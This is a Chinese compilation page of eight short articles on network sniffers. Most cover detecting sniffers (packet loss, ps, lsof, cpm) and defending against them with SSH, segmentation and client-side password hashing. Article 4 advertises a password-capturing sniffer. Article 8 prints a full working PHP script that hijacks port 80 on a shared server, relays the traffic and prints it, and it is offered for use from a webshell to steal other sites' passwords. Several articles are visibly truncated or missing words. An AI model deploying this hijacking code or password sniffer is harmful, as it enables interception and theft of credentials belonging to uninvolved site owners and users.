教你如何发现和防止Sniffer嗅探器

时间:2022-12-05 06:02:32 作者:Luna 综合材料 收藏本文 下载本文

“Luna”通过精心收集,向本站投稿了8篇教你如何发现和防止Sniffer嗅探器,以下是小编整理后的教你如何发现和防止Sniffer嗅探器,希望能够帮助到大家。

篇1:教你如何发现和防止Sniffer嗅探器

如何发现在网络中是否Sniffer,简单的一个回答是你发现不了,因为他们根本就没有留下任何痕迹,sniffer是如此嚣张又安静,如何知道有没有sniffer存在,这也是一个很难说明的问题。

查找网络存在sniffer

一、网络通讯掉包率反常的高

通过一些网络软件,可以看到信息包传送情况,向ping这样的命令会告诉你掉了百分几的包。如果网络中有人在Listen,那么信息包传送将无法每次都顺畅的流到目的地。(这是由于sniffer拦截每个包导致的) 。

二、网络带宽出现反常

通过某些带宽控制器(通常是防火墙所带),可以实时看到目前网络带宽的分布情况,如果某台机器长时间的占用了较大的带宽,这台机器就有可能在监听。在非高速信道上,如56Kddn等,如果网络中存在sniffer,你应该也可以察觉出网络通讯速度的变化。

三、查看计算机上当前正在运行的所有程序。

但这通常并不可靠,但可以控制计算机中程序运行。在Unix系统下使用下面的命令:ps -aux 或: ps -augx。这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。

Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。

系统中搜索,查找可疑的文件。但入侵者可能使用自己编写的程序,所以都会给发现sniffer造成相当大的困难。

还有许多工具,能用来看看你的系统会不会在杂收模式。从而发现是否有一个Sniffer正在运行。

防止sniffer 驻入

对于嗅探器如此强大的‘灵敏度’,你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息,解决这些问题的办法是加密。

介绍一下SSH,全名Secure Shell,是一个在应用程序中提供安全通信的协议,建立在客户机/服务器模型上的,

SSH服务器的分配的端口是22,连接是通过使用一种来自RSA的算法建立的,在授权完成后,接下来的通信数据是用IDEA技术来加密的。这通常是较强的,适合与任何非秘密和非经典的通讯。

SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值,当然最关键的是怎样使用它。

另类安全之法

另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现起来花销是很大的。这样的拓扑结构需要有这样的规则:一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。开始处理网络拓扑则要做到以下几点:

第   一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在某一节点,就象你的财务部门被安排在办公区域的的一个不常变动的地方。

第二点:注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上被sniffer。其余的网段将不可能被sniffer。

第三点:所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,可以告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。

第四点:如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的Sniffer,它只对最小范围有效。

篇2:如何发现及防止Sniffer嗅探器

如何发现及防止Sniffer嗅探器!

如何在网络中发现一个Sniffer,简单的一个回答是你发现不了,因为他们根本就没有留下任何痕迹,sniffer是如此嚣张又安静,如何知道有没有sniffer存在,这也是一个很难说明的问题。

查找网络存在sniffer

一、网络通讯掉包率反常的高

通过一些网络软件,可以看到信息包传送情况,向ping这样的命令会告诉你掉了百分几的包。如果网络中有人在Listen,那么信息包传送将无法每次都顺畅的流到目的地。(这是由于sniffer拦截每个包导致的)。

二、网络带宽出现反常

通过某些带宽控制器(通常是防火墙所带),可以实时看到目前网络带宽的分布情况,如果某台机器长时间的占用了较大的带宽,这台机器就有可能在监听。在非高速信道上,如56Kddn等,如果网络中存在sniffer,你应该也可以察觉出网络通讯速度的变化。

三、查看计算机上当前正在运行的所有程序。

但这通常并不可靠,但可以控制计算机中程序运行。在Unix系统下使用下面的命令:ps -aux 或:ps -augx。这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。

Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。

系统中搜索,查找可疑的文件。但入侵者可能使用自己编写的程序,所以都会给发现sniffer造成相当大的困难。

还有许多工具,能用来看看你的系统会不会在杂收模式。从而发现是否有一个Sniffer正在运行。

防止sniffer 驻入

对于嗅探器如此强大的灵敏度,你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息,解决这些问题的办法是加密。

介绍一下SSH,全名Secure Shell,是一个在应用程序中提供安全通信的协议,建立在客户机/服务器模型上的。SSH服务器的分配的端口是22,连接是通过使用一种来自RSA的算法建立的,在授权完成后,接下来的通信数据是用IDEA技术来加密的,

这通常是较强的,适合与任何非秘密和非经典的通讯。

SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值,当然最关键的是怎样使用它。

另类安全之法

另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现起来花销是很大的。这样的拓扑结构需要有这样的规则:一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。开始处理网络拓扑则要做到以下几点:

第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在某一节点,就象你的财务部门被安排在办公区域的的一个不常变动的地方。

第二点:注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上被sniffer。其余的网段将不可能被sniffer。

第三点:所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,可以告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。

第四点:如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的Sniffer,它只对最小范围有效。

Sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。

篇3:SNIFFER嗅探器检测工具和对策

本篇文章将讨论通过进入混杂模式下对网络数据包进行监听的工具软件及采取何种对策以降低其破坏性,为了保证网络的安全性和防止不必要的恐慌,系统管理人员应该非常熟悉这些探测工具的能力和其局限性,并在遇到此类问题时应能采取正确的措施。

本机监控不同操作系统的计算机采用的检测工具也不尽相同。大多数UNIX系列操作系统都使用。利用管理人员可以知道网卡是否工作在混杂模式下。但是因为安装未被授权的sniffer时,特洛伊木马程序也有可能被同时安装,因而的输出结果就可能完全不可信。系统管理人员还可以选择其它的主要工具来检测sniffers(嗅探器)是否存在,例如和等等,但是以上问题仍有可能发生。

许多流行的特洛伊木马程序在系统的目录下都有自己的ASCII文件,该文件中包含该木马程序的配置信息。在安全系统中,目录下应该没有ASCII文件,因而系统管理人员应该定时检测目录。如果目录下存在ASCII文件,则表明系统中已经被攻击者安装了sniffer(嗅探器)。

特洛伊木马的ASCII配置文件一般包括sniffers(嗅探器)和与其输出文件相关的进程信息和相应的文件信息,这些信息一般都对系统管理人员隐藏。大多数版本的UNIX都可以使用lsof(该命令显示打开的文件)来检测sniffer(嗅探器)的存在。lsof的最初的设计目地并非为了防止sniffer(嗅探器)入侵,但因为在sniffer(嗅探器)入侵的系统中,sniffer(嗅探器)会打开其输出文件,并不断传送信息给该文件,这样该文件的内容就会越来越大,因而lsof就有了用武之地,

如果利用lsof发现有文件的内容不断的增大,我们就有理由怀疑系统被人装了sniffer(嗅探器)。

因为大多数sniffers(嗅探器)都会把截获的TCP/IP“数据写入自己的输出文件中,因而系统管理人员可以把lsof的结果输出到来减少系统被破坏的可能性。对于BSD的UNIX,可以使用cpm来检测sniffer(嗅探器)的存在。

cpm(该命令检测混杂模式的存在)是由CERT/CC开发的工具软件。在1994年,好多网站报告合法用户名、用户密码和关键数据被恶意偷窃,cpm就在那时应运而生。更多的相关内容请参阅如下站点(www.cert.org/advisories/CA-1994-01.html)。

cpm使用socket(2)和ioctl(2)来判断是否有网卡处在混杂模式,并向系统汇报检测结果。cpm只列出处在混杂模式的网卡。对于使用SunOS 5.5和5.6的用户,可以使用ifstatus检测sniffer(嗅探器)的存在。用户可以从。

对于NT系统,并没有太知名的sniffer(嗅探器)检测工具供使用。就作者所知,NT平台上并没有切实可行的工具去测试网卡的混杂模式。出现这种情况的原因在于作为Microsoft系统平台一部分的工具也可能已经被安装了特洛伊木马程序。使用机器的NT用户可以考虑使用(www.rootkit.com)。

Microsoft平台远程可以利用的管理员级安全漏洞很少,这可能是Microsoft平台下sniffer(嗅探器)工具和检测工具相对较少的一个原因。

篇4:局域网探嗅工具 sniffer

局域网sniffer工具! SniffPass - Password SnifferListen to your network, and capture POP3, IMAP4, SMTP, FTP, and HTTP (basic authentication) passwords!

下载地址: 局域网探嗅工具 sniffer

篇5:网络嗅探:使用Sniffer监控网络流量

网吧内嗅探使用

随着互联网多层次性、多样性的发展,网吧已由过去即时通信、浏览网页、电子邮件等简单的应用,扩展成为运行大量在线游戏、在线视频音频、互动教学、P2P等技术应用,应用特点也呈现出多样性和复杂性,因此,这些应用对我们的网络服务质量要求更为严格和苛刻。

目前,大多数网吧的网络设备不具备高端网络设备的智能性、交互性等扩展性能,当网吧出现掉线、网络卡、遭受内部病毒攻击、流量超限等情况时,很多网络管理员显的心有于而力不足。毕竟,靠网络管理员的经验和一些简单传统的排查方法:无论从时间上面还是准确性上面都存在很大的误差,同时也影响了工作效率和正常业务的运行。

Sniffer Pro 著名网络协议分析软件。本文利用其强大的流量图文系统Host Table来实时监控网络流量。在监控软件上,我们选择了较为常用的NAI公司的sniffer pro,事实上,很多网吧管理员都有过相关监控网络经验:在网络出现问题、或者探查网络情况时,使用P2P终结者、网络执法官等网络监控软件。这样的软件有一个很大优点:不要配置端口镜像就可以进行流量查询(其实sniffer pro也可以变通的工作在这样的环境下)。这种看起来很快捷的方法,仍然存在很多弊端:由于其工作原理利用ARP地址表,对地址表进行欺骗,因此可能会衍生出很多节外生枝的问题,如掉线、网络变慢、ARP广播巨增等。这对于要求正常的网络来说,是不可思议的。

在这里,我们将通过软件解决方案来完成以往只有通过更换高级设备才能解决的网络解决方案,这对于很多管理员来说,将是个梦寐以求的时刻,

硬件环境(网吧):

100M网络环境下,92台终端数量,主交换采用D-Link(友讯)DES-3226S二层交换机(支持端口镜像功能),级联普通傻瓜型交换机。光纤10M接入,华为2620做为接入网关。

软件环境:

操作系统Windows2003 Server企业标准版(Sniffer Pro4.6及以上版本均支持Windows2000 Windows-xp Windows2003)、NAI协议分析软件-Sniffer Portable 4.75(本文选用网络上较容易下载到的版本做为测试)

环境要求:

1、如果需要监控全网流量,安装有Sniffer Portable 4.7.5(以下简称Sniffer Pro)的终端计算机,网卡接入端需要位于主交换镜像端口位置。(监控所有流经此网卡的数据)

2、Snffier pro 475仅支持10M、100M、10/100M网卡,对于千M网卡,请安装SP5补丁,或4.8及更高的版本

网络拓扑:

监控目的:通过Sniffer Pro实时监控,及时发现网络环境中的故障(例如病毒、攻击、流量超限等非正常行为)。对于很多企业、网吧网络环境中,网关(路由、代理等)自身不具备流量监控、查询功能,本文将是一个很好的解决方案。Sniffer Pro强大的实用功能还包括:网内任意终端流量实时查询、网内终端与终端之间流量实时查询、终端流量TOP排行、异常告警等。同时,我们将数据包捕获后,通过Sniffer Pro的专家分析系统帮助我们更进一步分析数据包,以助更好的分析、解决网络异常问题。

篇6:网络嗅探器技术以及数据包

从事网络安全的技术人员和相当一部分准 (指那些使用现成的 软件进行攻击而不是根据需要去自己编写代码的人)都一定不会对网络嗅探器(sniffer)感到陌生,网络嗅探器无论是在网络安全还是在 攻击方面均扮演了很重要的角色,

网络嗅探器技术以及数据包

通过使用网络嗅探器可以

篇7:JS本地加密防止嗅探

来源:网络安全技术博客

现在ARP嗅探越来越流行,虽然是很老的方法,但是也很有效,下面说下如何将网站本地JS加密

比如某论坛程序的 传输加密

(令人纠结的Wordpress,如果想复制粘贴代码请将<替换成><)

就是用的JS加密方法

var pwmd5log = new Array;

function pwmd5() {

numargs = pwmd5.arguments.length;

for(var i = 0; i < numargs; i++) {

if(!pwmd5log[pwmd5.arguments[i]] || $(pwmd5.arguments[i]).value.length != 32) {

pwmd5log[pwmd5.arguments[i]] = $(pwmd5.arguments[i]).value = hex_md5($(pwmd5.arguments[i]).value);

}

}

}

就像这个,就是JS加密

如何在传输之前加密呢

用户名

UID

Email

这就是国内某著名论坛程序的传输加密方法,将password3加密后传输,这样嗅探的都是MD5,当然也可以更BT一点,弄一大堆MD5加密,但必须和数据库匹配

也就是说加密传输之后,需要和数据库里的密文匹配

下面给一段示范

用户名:

不过这种方法是防君子不防小人,如果有条件的话操作服务器的话···建议看看一下两篇文章

1./Article/201107/97251.html

2./Article/201107/97252.html

篇8:教你如何利用php来嗅探劫持服务器数据

前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发,我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。

需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于为什么不一样,我就不说了。

代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。

PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:

class select

{

var $sockets;

// 构造函数

function select($sockets)

{

$this->sockets = array();

foreach($sockets as $socket)

{

$this->add($socket);

}

}

function add($add_socket)

{

//array_push($this->sockets, $add_socket);

$this->sockets[] = $add_socket;

}

// 利用临时数组来删除数组中的元素

function remove($remove_socket)

{

$tmp_sockets = array();

foreach($this->sockets as $socket)

{

if($remove_socket != $socket)

{

$tmp_sockets[] = $socket;

}

}

$this->sockets = $tmp_sockets;

}

// 检查socket数组是否可读,传入超时时间,返回socket数组

function can_read($timeout)

{

$read = $this->sockets;

socket_select( $read, $write = NULL, $except = NULL, $timeout );

return $read;

}

// 检查socket数组是否可写,传入超时时间,返回socket数组

function can_write($timeout)

{

$write = $this->sockets;

socket_select( $read = NULL, $write, $except = NULL, $timeout );

return $write;

}

}

// 网页不超时

set_time_limit(0);

// 即时输出数据,不缓冲

ob_end_clean();

ob_implicit_flush(true);

if( !isset($_GET[”listen_ip“]) )

{

exit;

}

if( $_GET[”listen_ip“] == ”“ )

{

exit;

}

$listen_ip = $_GET[”listen_ip“];

$listen_port = 80;

// 建立socket

$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// 设置重复绑定

socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);

// 明确指定绑定IP地址,优先获取数据

socket_bind($listen_sock, $listen_ip, $listen_port);

// 开始监听

socket_listen ($listen_sock);

echo ”listen on “.htmlentities($listen_ip).” :“.$listen_port.”

“;

// 创建socket数组,使用select来轮询

$check_socks = array($listen_sock);

// 映射客户端socket和服务端socket

// $socket_maps1将客户端socket作为key

// $socket_maps2将服务端socket作为key

// 以内存换速度,并且方便下面的搜索

$socket_maps1 = array( );

$socket_maps2 = array( );

// 实例化select类

$select = new select( $check_socks );

while(true)

{

/*

print_r( $socket_maps );

print ”

“;

*/

// select轮询,超时2秒

foreach ($select->can_read(1) as $socket)

{

// listen_sock可读,说明有人连接上来了

if( $socket == $listen_sock )

{

// 接受新连接,并加入到轮训数组

$new_client = socket_accept($listen_sock);

$select->add($new_client);

socket_getpeername($new_client, $ip, $port);

echo ”New client connected: $ip, $port

“;

// 建立到真实服务器的socket

$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_connect($server_sock,”127.0.0.1“, $listen_port);

// 建立真实服务器socket和真实客户端socket之间的映射关系

$socket_maps1[$new_client] = $server_sock;

$socket_maps2[$server_sock] = $new_client;

// 添加到select轮询中

$select->add($server_sock);

// $listen_sock的可读数据是因为有新连接,已经处理了,

暂时去掉,因为下面开始处理数据转发

//select->remove( $listen_sock );

}

// 其他socket可读,表示有数据需要中转

else

{

// 读取数据,失败则从轮询socket中删除,并关闭socket

$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);

if ($client_data === false)

{

socket_close( $socket );

$select->remove( $socket );

echo ”client disconnected.

“;

continue;

}

// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据

if( in_array( $socket, array_keys($socket_maps1)) )

{

//echo ”readed from client.

“;

if( ! socket_write( $socket_maps1[$socket], $client_data ) )

{

socket_close( $socket );

socket_close( $socket_maps1[$socket] );

$select->remove( $socket );

$select->remove( $socket_maps1[$socket] );

print ”Write to server error.

“;

}

print htmlentities($client_data).”

“;

}

// 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据

elseif( in_array( $socket, array_keys($socket_maps2) ) )

{

//echo ”readed from server.

“;

if( ! socket_write( $socket_maps2[$socket], $client_data ) )

{

socket_close( $socket );

socket_close( $socket_maps2[$socket] );

$select->remove( $socket );

$select->remove( $socket_maps2[$socket] );

print ”Write to client error.

“;

}

print htmlentities($client_data).”

";

}

}

}

}

?>

这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。

局域网嗅探与监听技术

防止空气污染建议书

防止溺水作文

投币器教案设计

教你如何写工作计划

防止小孩溺水建议书

防止灯下黑对照检查

防止校园欺凌作文

《砂之器》影评

自动关水器作文

教你如何发现和防止Sniffer嗅探器(共8篇)

欢迎下载DOC格式的教你如何发现和防止Sniffer嗅探器,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档